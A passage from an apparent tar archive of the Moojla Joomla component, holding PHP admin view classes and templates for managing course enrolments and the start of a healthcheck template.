/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('enrolment',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_ENROLMENT_NEW' :
'COM_MOOJLA_ENROLMENT_EDIT'), 'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('enrolment.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('enrolment.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('enrolment.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('enrolment.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('enrolment.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.enrolment',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('enrolment.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('enrolment');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_ENROLMENT_NEW' :
'COM_MOOJLA_ENROLMENT_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/enrolment.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/enrolment/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/enrolments/index.html000064400000000054151165724410012071
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolments/tmpl/default.php000064400000005534151165724410013215
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=enrolments.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'enrolmentList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=enrolments');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="enrolmentList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_ENROLMENTS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/enrolments/tmpl/default_batch_body.php000064400000002335151165724410015367
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_ENROLMENTS_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/enrolments/tmpl/default_batch_footer.php000064400000002733151165724410015732
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('enrolment.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/enrolments/tmpl/default_body.php000064400000010474151165724410014231
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=enrolments&task=enrolment.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('enrolment',$item,'enrolments');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo JText::_($item->role);
?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'enrolments.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JText::_($item->role); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->moojlacourse_fullname); ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($this->user->authorise('core.edit',
'com_users')): ?>
<a
href="index.php?option=com_users&task=user.edit&id=<?php
echo (int) $item->jid ?>"><?php echo
JFactory::getUser((int)$item->jid)->name; ?></a>
<?php else: ?>
<?php echo JFactory::getUser((int)$item->jid)->name; ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->enrolldate); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', true, 'cb');
?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', true, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'enrolments.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/enrolments/tmpl/default_foot.php000064400000002304151165724410014234
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="8"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/enrolments/tmpl/default_head.php000064400000005477151165724410014204
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ROLE_LABEL', 'a.role',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_JID_LABEL', 'h.name',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL',
'a.enrolldate', $this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_ENROLMENT_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/enrolments/tmpl/default_toolbar.php000064400000007055151165724410014737
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Enrolments'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/enrolments/tmpl/index.html000064400000000054151165724410013045
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolments/view.html.php000064400000017526151165724410012536
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Enrolments
*/
class MoojlaViewEnrolments extends JViewLegacy
{
/**
* Enrolments view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('enrolments');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('enrolment');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_ENROLMENTS'),
'checkbox');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=enrolments');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('enrolment.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('enrolment.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('enrolments.publish');
JToolBarHelper::unpublishList('enrolments.unpublish');
JToolBarHelper::archiveList('enrolments.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('enrolments.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'enrolments.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('enrolments.trash');
}
}
if ($this->user->authorise('enrolment.fetch_enrolments',
'com_moojla'))
{
// add fetch enrolments button.
JToolBarHelper::custom('enrolments.fetchEnrolments',
'contract custom-button-fetchenrolments', '',
'COM_MOOJLA_FETCH_ENROLMENTS', false);
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('enrolments');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Role batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Role Selection
$this->roleOptions =
JFormHelper::loadFieldType('enrolmentsfilterrole')->options;
// We do some sanitation for Role filter
if (MoojlaHelper::checkArray($this->roleOptions) &&
isset($this->roleOptions[0]->value) &&
!MoojlaHelper::checkString($this->roleOptions[0]->value))
{
unset($this->roleOptions[0]);
}
// Role Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_ENROLMENT_ROLE_LABEL').'
-',
'batch[role]',
JHtml::_('select.options', $this->roleOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_ENROLMENTS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/enrolments.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.role' =>
JText::_('COM_MOOJLA_ENROLMENT_ROLE_LABEL'),
'g.fullname' =>
JText::_('COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL'),
'h.name' =>
JText::_('COM_MOOJLA_ENROLMENT_JID_LABEL'),
'a.enrolldate' =>
JText::_('COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/healthcheck/index.html000064400000000054151165724410012146
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/healthcheck/tmpl/default.php000064400000035145151165724410013273
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
